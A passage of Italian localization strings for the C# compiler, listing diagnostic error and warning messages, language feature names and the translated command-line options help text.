visualizzato quando due metodi di interfaccia si differenziano solo per il fatto che un determinato parametro sia contrassegnato con ref o con out. È consigliabile modificare il codice per evitare la visualizzazione di questo avviso perché non è ovvio o garantito quale metodo venga effettivamente chiamato in fase di esecuzione. + +Anche in C# viene fatta distinzione tra out e ref, in CLR questi metodi sono considerati uguali. Quando si decide il metodo che implementa l'interfaccia, in CLR ne viene semplicemente scelto uno. + +Impostare il compilatore in modo tale da distinguere i metodi, ad esempio assegnando loro nomi diversi o specificando un parametro aggiuntivo per uno di essi. + Non è possibile usare #r dopo il primo token del file + '{0}' non implementa il membro di interfaccia istanza '{1}'. '{2}' non può implementare il membro di interfaccia perché è di tipo statico. + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare in modo implicito un membro non pubblico in C# {3}. Usare la versione '{4}' o versioni successive del linguaggio. + Viene restituito un parametro per riferimento '{0}' ma non è un parametro ref + Non è possibile inizializzare una variabile per riferimento con un valore + argomento denominato + Un tipo restituito può avere un solo modificatore '{0}'. + Il tipo predefinito '{0}' è definito in più assembly nell'alias globale. Verrà usata la definizione contenuta in '{1}' + Un'espressione lambda dell'albero delle espressioni non può contenere una chiamata a un metodo, a una proprietà o a un indicizzatore che viene restituito per riferimento + campi struct predefiniti in automatico + Un metodo parziale non può contenere il modificatore 'abstract' + '{0}' è già inclusa nell'elenco di interfacce nel tipo '{1}' con diverso supporto dei valori Null per i tipi riferimento. + Manca il segno di uguale tra l'attributo e il valore di attributo. + Non è possibile eseguire l'aggiornamento perché è stato modificato un tipo delegato dedotto. + Non è possibile decostruire una tupla di '{0}' elementi in '{1}' variabili. + '{0}' non implementa il membro astratto ereditato '{1}' + La stessa directory ('{0}') non può contenere più file di configurazione dell'analizzatore. + La funzionalità di linguaggio 'Matrici inline' non è supportata per i tipi di matrice inline con un campo elemento che è un campo 'ref' o ha un tipo non valido come argomento di tipo. + '{0}' non può essere sealed perché il record contenitore non è sealed. + Non è possibile creare un'istanza del tipo di variabile '{0}' perché non include il vincolo new() + Il tipo di '{0}' non può essere dedotto perché il relativo inizializzatore fa riferimento in modo diretto o indiretto alla definizione. + '{0}': il runtime di destinazione non supporta tipi covarianti negli override. Il tipo deve essere '{2}' in modo da corrispondere al membro '{1}' di cui è stato eseguito l'override + #load è consentito solo negli script + Il metodo di overload '{0}' che differisce solo per i tipi matrice senza nome non è conforme a CLS + Il modificatore del tipo di riferimento del parametro non corrisponde al parametro corrispondente nel membro sottoposto a override o implementato. + Questa funzione assegna un valore che ha un ambito di escape più ampio di quello del target, consentendo l'assegnazione attraverso il target di valori con ambiti di escape più ristretti. + L'evento simile a campo '{0}' non può essere 'readonly'. + L'argomento di un attributo deve essere un'espressione costante, un'espressione typeof o un'espressione per la creazione di matrici di un tipo di parametro dell'attributo + struct di sola lettura + <espressione throw> + tipi parziali + L'espressione specificata non corrisponde mai al criterio fornito. + Il parametro generico corrisponde alla definizione mentre dovrebbe essere il riferimento {0} + An expression tree may not contain a collection expression. + Il valore restituito deve essere non Null perché il parametro '{0}' è non Null. + La sintassi 'var (...)' come lvalue è riservata. + '{0}' non esegue l'override del metodo previsto da '{1}'. + Il membro struct restituisce 'questo' o altri membri di istanza per riferimento + L'opzione /noconfig è stata ignorata perché è stata specificata in un file di risposta + '{0}' non implementa il membro di interfaccia statico '{1}'. '{2}' non può implementare il membro di interfaccia perché è di tipo statico. + '{0}': la proprietà o l'indicizzatore non può avere un tipo void + '{0}': non è possibile eseguire l'override del membro ereditato '{1}' perché è sealed + Gli iteratori non possono avere parametri in, out o ref + La proprietà indicizzata '{0}' deve includere tutti argomenti facoltativi + Il campo '{0}' deve essere assegnato completamente prima che il controllo sia restituito al chiamante. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente il campo come predefinito. + Il tipo restituito deve essere identico in entrambe le dichiarazioni di metodo parziale. + Utilizzo non coerente dei parametri lambda: i parametri devono essere tutti di tipo esplicito o implicito + Non è possibile caricare l'assembly dell'analizzatore + Non è possibile dedurre il tipo della variabile discard tipizzata in modo implicito. + Il tipo '{0}' nell'elenco di interfacce non è un'interfaccia + Le firme dei metodi intercettabili e intercettori non corrispondono. + Parola chiave 'record' imprevista. Si intendeva 'struct record' o 'classe record'? + elemento + La funzionalità 'parameter null-checking' non è supportata. + Un parametro __arglist deve essere l'ultimo parametro in un elenco di parametri + {0} non è un'operazione valida di assegnazione composta C# + Un albero delle espressioni non può contenere un operatore dei criteri di ricerca 'is'. + Non è possibile utilizzare il costruttore dell'attributo '{0}' perché contiene parametri 'in' o 'ref readonly'. + variabili di iterazione foreach ref + Le conversioni '{0}' e '{1}' definite dall'utente durante la conversione da '{2}' a '{3}' sono ambigue + Non è possibile incorporare il tipo di interoperabilità '{0}'. Usare l'interfaccia applicabile. + L'espressione deve essere di tipo '{0}' perché verrà assegnata per riferimento + L'assembly non contiene analizzatori + Nessun overload per '{0}' corrisponde al puntatore a funzione '{1}' + Indicizzazione di una matrice con un indice negativo + Le proprietà che vengono restituite per riferimento non possono contenere funzioni di accesso set + Errore nella sintassi della riga di comando: manca ':<numero>' per l'opzione '{0}' + Il riferimento al tipo '{0}' dichiara di essere definito in '{1}', ma non è stato trovato + È probabile che l'assegnazione all'elemento '{0}' locale, che rappresenta l'argomento di un'istruzione using o lock, non sia corretta. La chiamata Dispose o lo sblocco verrà eseguito sul valore originale dell'elemento locale. + Non è possibile convertire la tupla con {0} elementi nel tipo '{1}'. + Non è possibile usare il carattere '<' in un valore di attributo. + Prende l'indirizzo di, ottiene le dimensioni di o dichiara un puntatore a un tipo gestito ('{0}') + Un costruttore di copia in un record deve chiamare un costruttore di copia della base o un costruttore di oggetto senza parametri se il record eredita dall'oggetto. + Sintassi #pragma checksum non valida: dovrebbe essere #pragma checksum "nomefile" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + in invarianza + '{0}' viene usato solo a scopo di valutazione e potrebbe essere modificato o rimosso in aggiornamenti futuri. Elimina questa diagnostica per continuare. + Position non è compreso nell'albero della sintassi con full span {0} + Non è possibile definire un nuovo metodo di estensione perché non è stato trovato il tipo '{0}' richiesto dal compilatore. Probabilmente manca un riferimento. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde alla dichiarazione di metodo parziale. + Per essere usato come operatore di corto circuito, un operatore logico definito dall'utente ('{0}') deve avere lo stesso tipo restituito e gli stessi tipi di parametro + Confronto effettuato con la stessa variabile. Si intendeva confrontare qualcos'altro? + nuove linee nelle interpolazioni + Non è possibile usare il modificatore 'scoped' con discard. + L'identificatore che differisce solo per l'uso di caratteri maiuscoli o minuscoli non è conforme a CLS + Il parametro {0} contiene un modificatore di parametri in lambda ma non nel tipo delegato di destinazione. + Il valore letterale reale non è valido. + Impossibile utilizzare l'istruzione fixed per accettare l'indirizzo di un'espressione già di tipo fixed + '{0}' non ha costruttori accessibili che usano solo tipi conformi a CLS + La valutazione dell'espressione costante decimale non è riuscita + Il parametro '{0}' deve avere un valore non Null quando viene terminato con '{1}'. + modello di elenco + L'etichetta '{0}' è un duplicato + Non è possibile assegnare un valore a un campo di sola lettura, tranne che in un costruttore o un setter di sola inizializzazione del tipo in cui è definito il campo o in un inizializzatore di variabile + L'elemento {0} '{1}' non nullable deve contenere un valore non Null all'uscita dal costruttore. Provare a dichiarare {0} come nullable. + Using Alias '{0}' è già presente nello spazio dei nomi + L'argomento {0} deve essere passato con la parola chiave '{1}' + Non è possibile usare il parametro del costruttore primario di tipo '{0}' all'interno di un membro di istanza + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerMemberNameAttribute ne eseguirà l'override. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde alla dichiarazione di metodo parziale. + Il valore dell'argomento di attributo denominato '{0}' non è valido + Il vincolo '{0}' è duplicato per il parametro di tipo '{1}' + Non è possibile assegnare i membri del campo di sola lettura '{0}' di tipo '{1}' con un inizializzatore di oggetto perché è di un tipo di valore + Nelle struct di sola lettura non sono consentiti eventi simili a campi. + Il nome dell'elemento di tupla '{0}' viene ignorato perché nell'altra parte dell'operatore == o != di tupla è specificato un nome diverso o non è specificato alcun nome. + Il modificatore 'async' può essere usato solo nei metodi con un corpo. + L'espressione switch non gestisce alcuni input Null. + Le dichiarazioni parziali di '{0}' non devono specificare classi base diverse + '{0}' non è accessibile a causa del livello di protezione + L'operatore di eliminazione non è consentito in questo contesto + I membri ereditati '{0}' e '{1}' hanno la stessa firma nel tipo '{2}', pertanto non possono essere sottoposti a override + L'accesso all'indicizzatore deve essere inviato dinamicamente. Tuttavia, non è possibile perché fa parte di un'espressione di accesso di base. Provare a eseguire il cast degli argomenti dinamici o a eliminare l'accesso di base. + '{0}' non contiene alcun metodo applicabile denominato '{1}' ma apparentemente include un metodo di estensione con tale nome. I metodi di estensione non possono essere inviati dinamicamente. Provare a eseguire il cast degli argomenti dinamici o a chiamare il metodo di estensione senza la relativa sintassi. + '{0}': le proprietà astratte non possono avere funzioni di accesso private + 'L'espressione specificata dell'espressione 'is' non è mai del tipo fornito + L'indicizzatore di matrice inline non verrà usato per l'espressione di accesso agli elementi. + Il runtime di destinazione non supporta membri astratti statici nelle interfacce. + La stringa di versione specificata '{0}' non è conforme al formato richiesto: principale.secondaria.build.revisione (senza caratteri jolly) + Non usare l'attributo 'System.Runtime.CompilerServices.FixedBuffer' su una proprietà + Si è verificato un errore durante l'apertura del file manifesto Win32 {0} - {1} + UnscopedRefAttribute può essere applicato solo ai metodi e alle proprietà dell'istanza di struct e non può essere applicato a costruttori o membri solo init. + '{0}' è un nuovo membro virtuale nel tipo sealed '{1}' + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde alla dichiarazione di metodo parziale. + L'albero delle espressioni non può contenere una proprietà indicizzata + La sintassi del checksum della direttiva #pragma non è valida + Il valore letterale stringa non elaborato non inizia con un numero sufficiente di virgolette per consentire questo numero di virgolette consecutive come contenuto. + LookupOptions contiene una combinazione di opzioni non valida + È previsto un inizializzatore di matrice di lunghezza '{0}' + Un campo di sola lettura non può restituito per riferimento scrivibile + istruzione fixed estendibile + Un albero delle espressioni non può contenere un'espressione di indice from end ('^'). + matrici inline + L'espressione switch o l'etichetta case deve essere un tipo bool, char, string, integrale, enum o un tipo nullable corrispondente in C# 6 e versioni precedenti. + Per offrire una qualifica minima del tipo, è necessario specificare Position. + I moduli aggiunti devono essere contrassegnati con l'attributo CLSCompliant per corrispondere all'assembly + Il tipo '{2}' deve essere un tipo riferimento per poter essere usato come parametro '{1}' nel metodo o nel tipo generico '{0}' + L'invio può includere solo codice script. + Il record definisce 'Equals' ma non 'GetHashCode'. + '{0}': non è possibile eseguire l'override perché '{1}' non ha una funzione di accesso get di cui eseguire l'override + Una clausola catch precedente rileva già tutte le eccezioni + indicizzazione di buffer fissi mobili + '{0}' è un file binario e non un file di testo + Gli attributi destinati a campi su proprietà automatiche non sono supportati in questa versione del linguaggio. + L'espressione switch deve essere un valore. È stato trovato '{0}'. + Non è possibile assegnare '{0}' alla proprietà di tipo anonimo + Uso della proprietà implementata automaticamente probabilmente non assegnata + Non è possibile aprire '{0}' per la scrittura - '{1}' + L'implementazione esplicita di un operatore definito dall'utente '{0}' deve essere dichiarata come statica + L'istruzione vuota è probabilmente errata + Non è possibile creare il delegato dal metodo '{0}' perché è un metodo parziale senza una dichiarazione di implementazione + Non eseguire l'override di object.Finalize. Fornire un distruttore. + costruttore e decostruttore del corpo dell'espressione + criterio relazionale + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro di cui è stato eseguito l'override. + È previsto un nome file tra virgolette, un commento su una sola riga o la fine riga + Il membro '{0}' deve avere un valore non Null quando viene terminato con '{1}'. + Il commento XML contiene l'attributo cref '{0}' che fa riferimento a un parametro di tipo + Il delegato '{0}' non ha un costruttore valido + parametri ref di sola lettura + La decostruzione deve contenere almeno due variabili. + Non è possibile usare il metodo di estensione '{0}' definito nel tipo di valore '{1}' per creare delegati + Accessibilità incoerente: la classe base '{1}' è meno accessibile della classe '{0}' + La sintassi goto case è valida soltanto all'interno di un'istruzione switch + Viene restituito per riferimento un membro del parametro '{0}' tramite un parametro ref; ma può essere restituito in modo sicuro solo in un'istruzione return + La classe System.Object non può avere una classe base o implementare un'interfaccia + Uso della variabile locale non assegnata + Una funzione anonima statica non può contenere un riferimento a 'this' o 'base'. + '{0}': non è possibile cambiare i modificatori di accesso quando viene eseguito l'override di '{1}' del membro ereditato '{2}' + Gli indicizzatori non possono avere tipi void + Accessibilità incoerente: il tipo parametro '{1}' è meno accessibile dell'operatore '{0}' + '{0}' deve corrispondere per sola inizializzazione del membro '{1}' di cui è stato eseguito l'override + È necessario specificare un valore nel campo const + Non è possibile ripristinare l'avviso 'CS{0}' perché è stato disabilitato a livello globale + L'introduzione di un metodo 'Finalize' può interferire con la chiamata di un distruttore. Si desiderava dichiarare un distruttore? + Un membro di '{0}' viene restituito dal riferimento ma è stato inizializzato su un valore che non può essere restituito dal riferimento + Il supporto dei valori Null del tipo restituito non corrisponde al membro di cui è stato eseguito l'override, probabilmente a causa degli attributi del supporto dei valori Null. + Il nome di tipi e alias non deve essere 'record'. + Il corpo di '{0}' non può essere un blocco iteratore perché '{0}' viene restituito per riferimento + Il numero di indici in [] è errato. Il numero previsto è {0} + È stata specificata la firma ritardata per la quale è necessaria una chiave pubblica che però non è stata specificata + Un metodo contrassegnato con [DoesNotReturn] non deve essere terminare normalmente. + '{0}' non è un termine valido nell'espressione + Il modificatore di accessibilità della funzione di accesso '{0}' deve essere più restrittivo della proprietà o dell'indicizzatore '{1}' + CallerFilePathAttribute può essere applicato solo a parametri con valori predefiniti + Manca la specifica del file per l'opzione '{0}' + Le dichiarazioni di metodo parziale devono contenere valori restituiti di riferimento corrispondenti. + È previsto un nome file racchiuso tra virgolette + Conversione definita dall'utente duplicata nel tipo '{0}' + È previsto il tipo byte, sbyte, short, ushort, int, uint, long o ulong + Il controllo viene restituito al chiamante prima che la proprietà implementata automaticamente '{0}' sia assegnata in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + Uso imprevisto di un nome generico + '{0}' non necessita di un attributo CLSCompliant perché l'assembly non ha un attributo CLSCompliant + La firma della classe wrapper '{0}' della coclasse gestita per l'interfaccia '{1}' non è valida per il nome della classe + Il tipo '{1}' esiste sia in '{0}' che in '{2}' + Non è possibile usare il tipo '{0}' in questo contesto perché non può essere rappresentato nei metadati. + Possibile argomento di riferimento Null per il parametro '{0}' in '{1}'. + Il tipo è in conflitto con il tipo importato + È previsto un valore costante di tipo '{0}' + Non è possibile creare un tipo generico costruito a partire da un tipo non generico. + In una stringa interpolata è possibile specificare il carattere di escape di un carattere '{0}' raddoppiando '{0}{0}'. + L'elemento di inclusione XML non è valido + Possibile restituzione di riferimento Null. + Questo avviso viene visualizzato quando si crea una classe con un metodo la cui firma è public virtual void Finalize. + +Se si usa tale classe come classe base e se la classe di derivazione definisce un distruttore, il distruttore eseguirà l'override del metodo Finalize della classe base e non di Finalize. + "L'identificatore del numero di dimensioni non è valido: è previsto ']' + inizializzatore stackalloc + Non utilizzare l'attributo 'System.Runtime.CompilerServices.FixedBuffer'. Utilizzare il modificatore di campo 'fixed'. + L'utilizzo di null non è valido in questo contesto + Viene restituito per riferimento un membro di parametro tramite un parametro ref; ma può essere restituito in modo sicuro solo in un'istruzione return + Il membro del record '{0}' deve essere privato. + direttiva using globale + Il qualificatore di alias '::' dello spazio dei nomi viene sempre risolto in un tipo o in uno spazio dei nomi e non è pertanto valido in questa posizione. Si consiglia di utilizzare '.'. + Gli operatori di conversione, uguaglianza o disuguaglianza dichiarati nelle interfacce devono essere astratti o virtuali + Non è possibile usare il parametro di tipo '{0}' con l'operatore 'as' perché non ha vincoli di tipo classe, né un vincolo 'class' + Il tipo locale di file '{0}' deve essere dichiarato in un file con un percorso univoco. Il percorso '{1}' viene usato in più file. + La parola chiave 'base' non è disponibile in un metodo statico + La funzionalità sperimentale 'intercettori' non è abilitata in questo spazio dei nomi. Aggiungere '{0}' al progetto. + Non è possibile inizializzare il membro '{0}'. Non è un campo o una proprietà. + Ambiguità tra '{0}' e '{1}' + La funzione locale è dichiarata, ma non viene mai usata + Errore nella sintassi della riga di comando: manca il GUID per l'opzione '{1}' + Non è possibile usare '{0}' come tipo {1} in un metodo con attributo 'UnmanagedCallersOnly'. + L'assembly '{0}' a cui si fa riferimento ha come destinazione un processore diverso. + Non è possibile assegnare {0} a una variabile tipizzata in modo implicito + Si è verificato un errore durante la scrittura del file di output: {0}. + '{0}': un costruttore statico non può avere una chiamata esplicita al costruttore 'this' o 'base' + variabile di ambiente LIB + Il metodo '{0}' dell'inizializzatore di modulo deve essere accessibile a livello di modulo + '{0}' non può implementare '{1}' perché '{2}' è un evento Windows Runtime e '{3}' è un evento .NET normale. + '{0}' è obsoleto + '{0}' è di tipo '{1}'. Il tipo specificato in una dichiarazione di costante deve essere sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, enum-type o reference-type. + La stringa di versione specificata non è conforme al formato consigliato: principale.secondaria.build.revisione + La conversione definita dall'utente in un'interfaccia deve essere convertita da o in un parametro di tipo nel tipo di inclusione vincolato al tipo di inclusione + Il parametro '{0}', diversamente da altri parametri, non contiene tag param corrispondenti nel commento XML per '{1}' + La proprietà indicizzata '{0}' include argomenti non facoltativi che devono essere specificati + La proprietà Task del tipo '{0}' da usare come elemento AsyncMethodBuilder per il tipo '{1}' deve restituire il tipo '{1}' invece di '{2}'. + '{0}': un campo non può essere sia volatile che di sola lettura + Solo i record possono ereditare dai record. + Valore letterale stringa senza terminazione. + Gli attributi nelle espressioni lambda richiedono un elenco di parametri tra parentesi. + I tipi statici non possono essere usati come parametri + È prevista la direttiva #endregion + <missing> + Il valore letterale stringa non elaborato interpolato non inizia con un numero sufficiente di caratteri '$' per consentire questo numero di parentesi graffe di apertura consecutive come contenuto. + Il supporto dei valori Null dei tipi riferimento nel tipo non corrisponde al membro implementato in modo implicito. + Il nome di parametro '{0}' è in conflitto con un nome di parametro generato automaticamente + In un gruppo di metodi non sono consentiti parametri di tipo usati come argomento di 'nameof'. + Accessibilità incoerente: il tipo parametro '{1}' è meno accessibile del delegato '{0}' + L'alias using non può essere di tipo 'ref'. + Una clausola catch precedente rileva già tutte le eccezioni. Verrà eseguito il wrapping di tutti gli oggetti generati diversi da un'eccezione in System.Runtime.CompilerServices.RuntimeWrappedException. + Non è stato possibile inserire alcuni o tutti gli XML inclusi + Non è possibile attendere '{0}' + Il vincolo 'default' è valido solo in metodi di override e di implementazione esplicita dell'interfaccia. + parametro + È previsto un valore costante + Il generatore '{0}' non è riuscito a generare l'origine. Non contribuirà quindi all'output ed è possibile che si verifichino errori di compilazione. Eccezione di tipo '{1}' con messaggio '{2}'. +{3} + Il parametro di tipo '{0}' ha lo stesso nome del parametro del tipo outer '{1}' + Non è possibile convertire in modo implicito il valore letterale di tipo double nel tipo '{1}'. Usare un suffisso '{0}' per creare un valore letterale di questo tipo + There is no target type for the collection expression. + Non è possibile dichiarare una variabile all'interno di un criterio 'not' o 'or'. + + Opzioni del Compilatore Visual C# + + - FILE DI OUTPUT - +-out:<file> Specifica il nome del file di output (impostazione predefinita: nome di base di + file con classe principale o primo file) +-target:exe Consente di compilare un eseguibile della console (impostazione predefinita) (forma + breve: -t:exe) +-target:winexe Crea un eseguibile di Windows (forma breve: + -t:winexe) +-target:library Consente di compilare una libreria (forma breve: -t:library) +target:module Compila un modulo che può essere aggiunto ad altro + assembly (forma breve: -t:module) +-target:appcontainerexe Consente di creare un eseguibile di Appcontainer (forma breve: + -t:appcontainerexe) +-target:winmdobj Consente di compilare un file intermedio Windows Runtime che + viene utilizzato da WinMDExp (forma breve: -t:winmdobj) +-doc:<file> Genera un file di documentazione XML per generare +-refout:<file> Output dell'assembly di riferimento da generare +-platform:<string> Limita le piattaforme in cui è possibile eseguire questo codice su x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred o + anycpu. Il valore predefinito è anycpu. + + - FILE DI INPUT - +-recurse:<wildcard> Include tutti i file presenti nella directory corrente e + nelle relative sottodirectory in base alle specifiche dei + caratteri jolly +-reference:<alias>=<file> Metadati di riferimento dai file di assembly specificati + usando l'alias specificato (forma breve: -r) +/reference:<file list> Metadati di riferimento dai file di assembly + specificati. (Forma breve: -r) +-addmodule:< list> Collega i moduli specificati in questo assembly +-link:<file_list> Incorpora metadati dai file dell'assembly di interoperabilità + specificato. (Forma breve: -r) +-analyzer:<file_list> Esegue gli analizzatori dall'assembly + Forma breve: -a +-additionalfile:<file list> File aggiuntivi che non influiscono direttamente sulla generazione + del codice ma possono essere usati dagli analizzatori per produrre + errori o avvisi. +-embed Incorpora tutti i file di origine nel file PDB portabile. +-embed:<file list> Incorporare file specifici nel PDB. + + - RISORSE - +-win32res:<file> Specifica un file di risorse Win32 (.res) +-win32icon:<file> Usa questa icona per l'output +-win32manifest:<file> Specifica un file manifesto Win32 (con estensione xml) +-nowin32manifest Non include il manifesto Win32 predefinito +/resource:<resinfo> Incorpora la risorsa specificata. (Forma breve: -res) +-linkresource:<resinfo> Collega la risorsa specificata a questo assembly + (Forma breve: -linkres) Dove il formato resinfo + è <file>[,<string name>[,public|private]] + + - GENERAZIONE DEL CODICE - +-debug[+|-] Crea le informazioni di debug. +-debug:{full|pdbonly|portable|embedded} + Specificare il tipo di debug ('full' è l'impostazione predefinita, + 'portable' è un formato multipiattaforma, + 'embedded' è un formato multipiattaforma incorporato in + DLL o EXE di destinazione. +-optimize[+|-] Abilita le ottimizzazioni (forma breve: -o) +-deterministic Produce un assembly deterministico + (che include GUID e timestamp della versione del modulo) +-refonly Produce un assembly di riferimento al posto dell'output principale +-instrument:TestCoverage Produce un assembly instrumentato per raccogliere + informazioni sulla copertura +-sourcelink:<file> Informazioni sul collegamento all'origine da incorporare nel file PDB. + + - ERRORI E AVVISI - +-warnaserror[+|-] Segnala tutti gli avvisi come errori. +-warnaserror[+|-]:<warn list>Segnala determinati avvisi come errori + (usare "nullable" per tutti gli avvisi del supporto dei valori null) +-warn:<n> Imposta il livello di avviso (0 o superiore) (forma breve: -w) +-nowarn:<warn list> Disabilita messaggi di avviso specifici + (usare "nullable" per tutti gli avvisi del supporto dei valori null) +-ruleset:<file> Consente di specificare un file di set di regole che disabilita + diagnostica specifica. +-errorlog:<file>[,version=<sarif_version>] + Consente di specificare un file in cui registrare la diagnostica + del compilatore e dell'analizzatore + sarif_version:{1|2|2.1} L'impostazione predefinita è 1. 2 e 2.1 + si riferiscono entrambi a SARIF versione 2.1.0. +-reportanalyzer Restituisce informazioni aggiuntive dell'analizzatore, ad + esempio il tempo di esecuzione. +-skipanalyzers[+|-] Ignora l'esecuzione degli analizzatori diagnostici. + + - LINGUAGGIO - +-checked[+|-] Generare controlli dell'overflow +-unsafe[+|-] Consenti codice 'non sicuro' +-define:<symbol_list> Dichiara simboli di compilazione (forma + breve: -d) +-langversion:? Visualizza i valori consentiti per la versione del linguaggio +-langversion:<string> Consente di specificare la versione del linguaggio, ad esempio + `latest` (ultima versione che include versioni secondarie) + `default` (uguale a `latest`), + `latestmajor` (ultima versione che include versioni secondarie) + `preview` (versione più recente, incluse le funzionalità nell'anteprima non supportata), + o versioni specifiche come `6` o `7.1` +-nullable[+|-] Specificare l'opzione di contesto che ammette i valori Null enable|disable. +-nullable:{enable|disable|warnings|annotations} + Specifica l'opzione di contesto che ammette i valori Null enable|disable|warnings|annotations. + + - SICUREZZA - +-delaysign[+|-] Ritarda la firma dell'assembly usando solo la parte pubblica della + della chiave con nome sicuro. +-publicsign[+|-] Firma pubblicamente l'assembly usando solo la parte pubblica + della chiave con nome sicuro. +-keyfile:<file> Consente di specificare un file di chiave con nome sicuro. +-keycontainer:<string> Consente di specificare un contenitore di chiavi con nome sicuro. +-highentropyva[+|-] Abilita ASLR a entropia elevata. + + - VARIE - +@<file> Legge il file di risposta per ulteriori opzioni +/help Visualizza questo messaggio relativo all'uso. La forma breve è ? +-nologo Non visualizza il messaggio di copyright del compilatore +-noconfig Non include automaticamente il file CSC.RSP. +-parallel[+|-] Compilazione simultanea. +-version Visualizza il numero di versione del compilatore ed esce. + + - AVANZATE - +-baseaddress:<address> Indirizzo di base della libreria da compilare +-checksumalgorithm:<alg> Consente di specificare l'algoritmo per calcolare il checksum + del file di origine archiviato nel file PDB. I valori supportati sono: + SHA1 o SHA256 (impostazione predefinita). +-codepage:<n> Specifica la tabella codici da utilizzare per l'apertura dei file + di origine +-utf8output Messaggi del compilatore di output nella codifica UTF-8 +-main:<type> Specifica il tipo contenente il punto di ingresso + (ignora tutti gli altri possibili punti di ingresso) (forma + breve: -m) +-fullpaths Il compilatore genera percorsi completi +-filealign:<n> Consente di specificare l'allineamento usato per le sezioni del + file di output. +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Consente di specificare un mapping per i nomi di percorso di origine + visualizzati dal compilatore. +--pdb:<file> Specifica il nome del file di informazioni di debug (impostazione predefinita: + nome del file di output con estensione pdb) +--errorendlocation Riga di output e colonna della posizione finale di + ogni di errore +-preferreduilang Consente di specificare il nome del linguaggio di output preferito. +-nosdkpath Disabilita la ricerca di assembly di librerie standard nel percorso predefinito dell'SDK. +-nostdlib[+|-] Omette i riferimenti alle librerie standard (mscorlib.dll) +-subsystemversion:<string> Consente di specificare la versione dell'assembly +-lib:<file list> Specifica directory aggiuntive in cui cercare + riferimenti +-errorreport:<string> Consente di specificare come gestire gli errori interni del compilatore: + prompt, invio, coda o nessuno. L'impostazione predefinita è + coda. +-appconfig:<file> Specifica un file di configurazione dell'applicazione + contenente le impostazioni di associazione dell'assembly +-moduleassemblyname:<string> Nome dell'assembly di cui farà parte questo + modulo +-modulename:<string> Specifica il nome del modulo di origine +-generatedfilesout:<dir> Inserisce i file generati durante la compilazione nella + directory specificata. +-reportivts[+|-] Restituisce informazioni su tutti i tipi di I/O concessi a questo + assembly da tutte le dipendenze e annota gli errori di accessibilità dell'assembly esterno + da cui provengono. + + Errore di sintassi: è previsto un valore + '{0}' non può essere sealed perché non è un override + #error: '{0}' + La variabile di intervallo '{0}' è già stata dichiarata + La chiave pubblica di firma specificata in AssemblySignatureKeyAttribute non è valida. + Il nome dell'elemento di tupla '{0}' viene ignorato perché nel tipo di destinazione '{1}' è specificato un nome diverso o non è specificato alcun nome. + Questo avviso viene visualizzato quando prova a chiamare un metodo, una proprietà o un indicizzatore su un membro di una classe derivante da MarshalByRefObject e tale membro è un tipo valore. Il marshalling degli oggetti che ereditano da MarshalByRefObject viene in genere effettuato per riferimento in un dominio applicazione. Qualora un codice provi ad accedere direttamente al membro di tipo valore di tale oggetto in un dominio applicazione, si verificherà un'eccezione in fase di esecuzione. Per risolvere il problema, copiare innanzitutto il membro in una variabile locale e chiamare il metodo su tale variabile. + Non è possibile intercettare la chiamata con '{0}' perché non è accessibile in '{1}'. + Due indicizzatori hanno nomi diversi. L'attributo IndexerName deve essere usato con lo stesso nome in ogni indicizzatore all'interno di un tipo + Il modificatore del tipo di riferimento del parametro non corrisponde al parametro corrispondente nella destinazione. + Con 'await' il tipo restituito '{0}' di '{1}.GetAwaiter()' deve essere associato a membri 'IsCompleted', 'OnCompleted' e 'GetResult' appropriati e implementare 'INotifyCompletion' o 'ICriticalNotifyCompletion' + '{0}' è un riferimento ambiguo tra '{1}' e '{2}' + Un costruttore dichiarato in uno “struct” con elenco di parametri deve avere un inizializzatore “this” che chiama il costruttore primario o un costruttore dichiarato in modo esplicito. + L'opzione esegue l'override dell'attributo specificato in un file di origine o in un modulo aggiunto + I tipi e gli alias non possono essere denominati 'obbligatori'. + '{0}': 'readonly' può essere usato su funzioni di accesso solo se la proprietà o l'indicizzatore include entrambi le funzioni di accesso get e set + Dipendenza circolare del tipo di base che interessa '{0}' e '{1}' + È previsto un identificatore o un valore letterale + Non è possibile convertire in modo implicito il tipo '{0}' in '{1}' + Dereferenziamento di un possibile riferimento Null. + Non è possibile includere il frammento XML + Restituisce local per riferimento, ma non è un ref locale + '{0}': l'evento di istanza nell'interfaccia non può avere inizializzatori + '{0}' non è un tipo di convenzione di chiamata valido per 'UnmanagedCallersOnly'. + Il costruttore '{0}' non può chiamare se stesso + Non è possibile usare un commento su una sola riga in una stringa interpolata. + Locale viene restituito dal riferimento ma è stato inizializzato su un valore che non può essere restituito dal riferimento + In questo ambito è già definita una funzione o una variabile locale denominata '{0}' + Non è possibile intercettare: la compilazione non contiene un file con percorso '{0}'. Forse volevi usare il percorso '{1}'? + I due assembly differiscono per versione e/o numero di versione. Per consentire l'unifocazione, è necessario specificare le direttive nel file config dell'applicazione e specificare il nome sicuro corretto di un assembly. + Non è possibile modificare il valore restituito di '{0}' perché non è una variabile + '{0}': il tipo di base '{1}' non è conforme a CLS + Al membro obbligatorio '{0}' deve essere assegnato un valore, non può utilizzare un membro annidato o un inizializzatore di insieme. + Le istruzioni di primo livello devono precedere le dichiarazioni di tipo e di spazio dei nomi. + Le dichiarazioni di metodo parziali '{0}' e '{1}' presentano differenze di firma. + Il file di origine non può contenere sia dichiarazioni di spazio dei nomi normali che con ambito file. + Non è possibile assegnare a '{0}' perché è di sola lettura + Alias di tipo using + Il parametro {0} è dichiarato come tipo '{1}{2}', ma deve essere '{3}{4}' + Si è verificato un errore durante la lettura del file '{0}' specificato per l'argomento denominato '{1}' per l'attributo PermissionSet: '{2}' + Un albero delle espressioni non può contenere un'espressione switch. + È già stata specificata una clausola di vincolo per il parametro di tipo '{0}'. Tutti i vincoli per un parametro di tipo devono essere specificati in un'unica clausola where. + Il modificatore 'static' deve precedere il modificatore 'unsafe'. + con tipi anonimi + Non è possibile attendere 'void' + Non è possibile 